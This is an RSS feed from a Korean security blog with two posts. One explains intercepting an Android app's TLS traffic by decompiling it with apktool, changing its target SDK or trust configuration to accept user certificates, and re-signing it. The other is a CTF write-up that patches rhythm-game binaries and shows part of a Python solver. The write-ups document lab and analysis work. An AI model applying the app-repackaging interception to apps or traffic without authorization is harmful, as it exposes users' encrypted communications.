<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>느린 분석가</title>
    <description>Malware, Reversing, CVE, Vulnerabilities...</description>
    <link>https://slowanalyst.github.io/</link>
    <atom:link href="https://slowanalyst.github.io/feed.xml" rel="self" type="application/rss+xml"/>
    <pubDate>Sat, 08 Nov 2025 16:11:16 +0000</pubDate>
    <lastBuildDate>Sat, 08 Nov 2025 16:11:16 +0000</lastBuildDate>
    <generator>Jekyll v3.10.0</generator>

    
      <item>
        <title>Android 패킷 캡처중 tls 관련 오류 해결</title>
        <description>&lt;h2 id=&quot;배경&quot;&gt;배경&lt;/h2&gt;

&lt;p&gt;안드로이드 앱의 패킷을 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PCAPdroid&lt;/code&gt;를 통해 캡처하려 했으나, 캡처를 실행했더니 앱 내부 인터넷 통신 오류가 발생해 작성하게 되었습니다.&lt;/p&gt;

&lt;h2 id=&quot;요약&quot;&gt;요약&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;앱의 네트워크 설정에 따라 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;유저 설치 인증서&lt;/code&gt;가 비허용되면서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tls&lt;/code&gt;통신이 실패함&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;apktool&lt;/code&gt;을 통해 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;targetSdkVersion&lt;/code&gt;을 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;23&lt;/code&gt;으로 변경하거나&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;apktool&lt;/code&gt;을 통해 안드로이드 매니페스트 내부 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;application&amp;gt;&lt;/code&gt;에 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;application android:networkSecurityConfig=&quot;@xml/network_security_config&quot;...&lt;/code&gt;태그 추가하고 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;res/xml/network_security_config.xml&lt;/code&gt;경로에 일부 설정하면 됨&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;문제-상황&quot;&gt;문제 상황&lt;/h2&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PCAPdroid&lt;/code&gt;를 이용해 안드로이드 앱의 패킷을 캡쳐하려 했으나, 패킷 캡처를 켜니 앱이 정상 동작하지 않음&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-11-04-0.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;table&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;오류 메세지가 이번에는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tlsv1 alert access denied&lt;/code&gt;라고 떴지만, 메세지는 매번 달라졌었습니다.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&quot;분석-과정&quot;&gt;분석 과정&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://velog.io/@doobykihun/%EC%88%AD%EC%8B%A4%EB%8C%80-%EB%AA%A8%EB%B0%94%EC%9D%BC%ED%95%99%EC%83%9D%EC%A6%9D-%EC%95%B1-%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-%EB%B6%84%EC%84%9D&quot;&gt;이 글이 많이 도움되었습니다.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;위 블로그를 통해 어떤 문제인지 알게 되었으며, &lt;a href=&quot;https://developer.android.com/privacy-and-security/security-config?hl=ko&quot;&gt;관련 설명이 담긴 공식 사이트를 찾을 수 있었습니다.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-11-04-1.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;홈페이지를 살펴보니 안드로이드 23버전까지는 사용자가 추가한 인증서를 신뢰하고, 그 이후부터는 신뢰하지 않는다고 합니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-11-04-2.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;위 블로그 설명처럼 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;apktool&lt;/code&gt;을 이용해 디컴파일 후 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;apktool.yml&lt;/code&gt;파일에서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;targetSdkVersion&lt;/code&gt;을 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;23&lt;/code&gt;으로 조정한 후 컴파일 및 &lt;a href=&quot;/blog/android-recompile-signing/&quot;&gt;서명을 해 설치&lt;/a&gt;하면 정상적으로 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tls&lt;/code&gt;패킷 확인이 가능하다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-11-04-3.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;| &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;minSdkVersion&lt;/code&gt;이 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;23&lt;/code&gt;보다 클 경우 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;23&lt;/code&gt;으로 조정해주시면 됩니다.
| 버전을 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;23&lt;/code&gt;보다 낮게 설정할 경우 &lt;a href=&quot;https://developer.android.com/google/play/requirements/target-sdk?hl=ko&quot;&gt;문제&lt;/a&gt;가 생길 수 있습니다.
&lt;img src=&quot;/assets/img/posts/2025-11-04-4.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;디폴트 설정이 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;유저 인증서 신뢰 안함&lt;/code&gt;이라면 설정을 변경할 수도 있다고 생각했습니다.&lt;/p&gt;

&lt;p&gt;네트워킹 보안 설정 페이지 아래를 살펴보니 &lt;a href=&quot;https://developer.android.com/privacy-and-security/security-config?hl=ko#network-security-config&quot;&gt;관련된 설정이 보였습니다.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-11-04-5.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;확인해보니 디폴트 설정은 다음과 같답니다. 즉 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;certificates src=&quot;user&quot; /&amp;gt;&lt;/code&gt;을 추가하는 것으로 유저 인증서를 사용할 수 있는것처럼 보입니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-11-04-6.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AndroidManifest.xml&lt;/code&gt;파일 내부 여러군데에 위의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;certificates&lt;/code&gt;설정을 넣어봤는데 잘 안됩니다. 너무 대충 읽은듯합니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-11-04-7.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;확인해보니 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AndroidManifest.xml&lt;/code&gt;에는 설정을 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ON&lt;/code&gt;해줘야 하고, 설정파일은 또 따로 만들어야 하는 듯 합니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-11-04-8.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;이곳에 넣어주면 되는 듯 합니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-11-04-9.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-xml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;network-security-config&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;base-config&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;cleartextTrafficPermitted=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;true&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;trust-anchors&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;certificates&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;system&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;certificates&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;user&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;/trust-anchors&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/base-config&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/network-security-config&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;해당 파일을 기본 설정대로 두고 빌드하니 제대로 빌드됩니다.&lt;/p&gt;

&lt;p&gt;패킷도 제대로 보입니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-11-04-10.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;작성자의-글&quot;&gt;작성자의 글&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;안드로이드에서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ssl&lt;/code&gt; 복호화에 사용되는 키를 저장하는 옵션인 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sslkeylog&lt;/code&gt;를 찾을 수 없었습니다.&lt;/li&gt;
  &lt;li&gt;프록시를 통해 패킷을 살펴보는건 좀 귀찮았습니다. 나중에 해봐야겠습니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;apktool&lt;/code&gt;을 통해 앱을 디컴파일하고 컴파일하니 앱 시그니처가 달라져서 문제를 겪었습니다.&lt;/li&gt;
  &lt;li&gt;참고한 블로그에 잘 적혀있었지만, sdk버전 수정중 오류가 발생할 경우를 대비해 실습해보았습니다.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;참조&quot;&gt;참조&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://velog.io/@doobykihun/%EC%88%AD%EC%8B%A4%EB%8C%80-%EB%AA%A8%EB%B0%94%EC%9D%BC%ED%95%99%EC%83%9D%EC%A6%9D-%EC%95%B1-%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-%EB%B6%84%EC%84%9D&quot;&gt;doobykihun님의 velog 블로그&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://developer.android.com/privacy-and-security/security-config?hl=ko&quot;&gt;네트워킹 보안 설정&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://developer.android.com/google/play/requirements/target-sdk?hl=ko&quot;&gt;sdk 버전 제약사항&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Tue, 04 Nov 2025 12:50:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/android-packet-inspect-tls/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/android-packet-inspect-tls/</guid>
      </item>
    
      <item>
        <title>osu!gamingCTF 2025 문제풀이</title>
        <description>&lt;h2 id=&quot;배경&quot;&gt;배경&lt;/h2&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RubiyaLab CTF&lt;/code&gt;팀으로 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;osu!gamingCTF&lt;/code&gt;에 참여하게 되었습니다.&lt;/p&gt;

&lt;p&gt;온라인 대회지만 팀 내부적으로 오프라인 모임을 가져 진행했습니다.&lt;/p&gt;

&lt;p&gt;재미있었습니다.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;기간 : 2025-10-25 11:00 ~ 2025-10-27 11:00 (KST)&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;문제-목록&quot;&gt;문제 목록&lt;/h2&gt;

&lt;p&gt;푼 순서대로&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tosu-1&lt;/code&gt; - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rev 점수 - 265점, 푼 팀 - 17/648팀 First Blood&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tosu-2&lt;/code&gt; - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rev 점수 - 362점, 푼 팀 - 8/648팀 First Blood&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;modulation-master&lt;/code&gt; - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ppc 점수 - 202점, 푼 팀 - 30/648팀&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;unsolved&quot;&gt;Unsolved&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;tosu-1&quot;&gt;tosu-1&lt;/h2&gt;

&lt;h3 id=&quot;문제-상황&quot;&gt;문제 상황&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-10-28-4.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mfc&lt;/code&gt; 및 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;direct x&lt;/code&gt;로 이루어진 리듬게임입니다.&lt;/p&gt;

&lt;p&gt;올 퍼펙트를 하면 성공입니다.&lt;/p&gt;

&lt;h3 id=&quot;분석-과정&quot;&gt;분석 과정&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-10-28-5.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;메인 내부, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;direct x&lt;/code&gt; 창 생성 이후 goto를 이용한 루프 로직이 존재합니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-10-28-6.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;화면 입력 관련 처리 함수(&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x140043250&lt;/code&gt;)가 보입니다. 점수 관련 처리 로직이 있진 않아 무시해도 됩니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-10-28-7.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;내려가다보면 점수 출력 및 플래그 출력 함수가 보입니다. SCORE 변수를 따라가면 같은 함수 내부에서 점수를 처리하는 로직이 보입니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-10-28-9.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-10-28-8.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;점수 계산 로직 위에는 타이밍을 이용해 점수 타입을 계산하는 루프가, 또 그 위에는 어떤 과녁을 맞췄는지 계산하는 로직이 있는 것으로 보였습니다.&lt;/p&gt;

&lt;p&gt;루프 시작부분에 커서 위치 및 과녁을 계산하는 로직, 클릭 검증 로직, 과녁을 검증하는 로직, 타이밍 기반으로 점수를 계산하는 로직을 패치해서 실행하니 점수가 많이 맞았습니다. 하지만 점수가 부족했습니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-10-28-10.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;과녁은 시스템 시계 기반으로 동작하기 때문에, 1틱당 1과녁을 클릭해도 풀콤보가 되지 않는 것으로 보입니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-10-28-11.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;클릭 관련 이벤트 처리 시작부분을 살펴보니 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0.2&lt;/code&gt;를 가지고 데이터를 조작하는것이 보였습니다. 확인해보니 놓친 과녁에 대해 처리하는 로직이었습니다.&lt;/p&gt;

&lt;p&gt;분석해보니 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x140004e60&lt;/code&gt;함수가 과녁 터치에 대해 플래그를 계산하는 로직이었습니다. (50, 100, 300점 처리 로직 이후에도 있었음) 해당 함수에 항상 3을 들어가게 함으로써 플래그를 얻을 수 있었습니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-10-28-12.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-10-28-13.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;tosu-2&quot;&gt;tosu-2&lt;/h2&gt;

&lt;h3 id=&quot;문제-상황-1&quot;&gt;문제 상황&lt;/h3&gt;

&lt;p&gt;비슷한 프로그램이지만, 풀 콤보를 진행하는 것으로 플래그를 얻을 수 없습니다. 특정 순서에 맞는 노트를 히트해야하 성공합니다.&lt;/p&gt;

&lt;p&gt;1080개의 느트가 히트됐으면 1, 아니면 0으로 메모장에 기록되어 파일이 생성됩니다.&lt;/p&gt;

&lt;h3 id=&quot;분석-과정-1&quot;&gt;분석 과정&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-10-28-14.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tosu-1&lt;/code&gt;문제와 로직 나머지는 비슷하지만, 올 콤보를 해야하는것이 아닌 특정 값을 맞춰야 하는 문제입니다.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GIVEN&lt;/code&gt;값은 변하지 않으며, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CALCED&lt;/code&gt;값은 지난 성공 처리하던 곳에 인자로 들어갑니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-10-28-15.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-10-28-16.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;점수 타입 및 노트 인덱스를 이용해 연산하는 로직이 보입니다. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;4c00&lt;/code&gt;함수와 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1670&lt;/code&gt;함수, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;53c0&lt;/code&gt;함수 및 초기값, 기대값을 ai에 넣어주면 바로 풀어주긴 합니다만 손으로 직접 다시 풀어보겠습니다.&lt;/p&gt;

&lt;p&gt;ai가 짜준 코드는 아래와 같습니다.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# -*- coding: utf-8 -*-
# HIT/MISS 스케줄을 계산하는 레퍼런스 구현
# - 상태는 128바이트
# - M: out[p] = in[p-1] XOR in[p+1] (경계 밖은 0)
# - HIT: 위치 (t &amp;amp; 0x7F)에 c_t = (t*0x1B + 0x37) &amp;amp; 0xFF 를 XOR한 뒤 M
# - MISS: M 만 수행
# - 최종 상태를 목표 바이트열(Target)과 같게 만드는 h_t ∈ {0,1} 시퀀스를 Gaussian 소거로 풂 (GF(2))
&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;typing&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;List&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Tuple&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;L&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;128&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# bytes
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MASK_128&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;L&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# ---------- 비트-평면 표현 도우미 ----------
&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;bytes_to_planes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;List&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;128바이트 -&amp;gt; 8개 비트평면(각 128비트 int). plane[b]의 bit p는 bs[p]의 b번째 비트.&quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;L&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;planes&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;val&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;enumerate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;val&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;planes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;planes&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;planes_to_bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;planes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;List&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;8개 비트평면 -&amp;gt; 128바이트&quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytearray&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;L&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
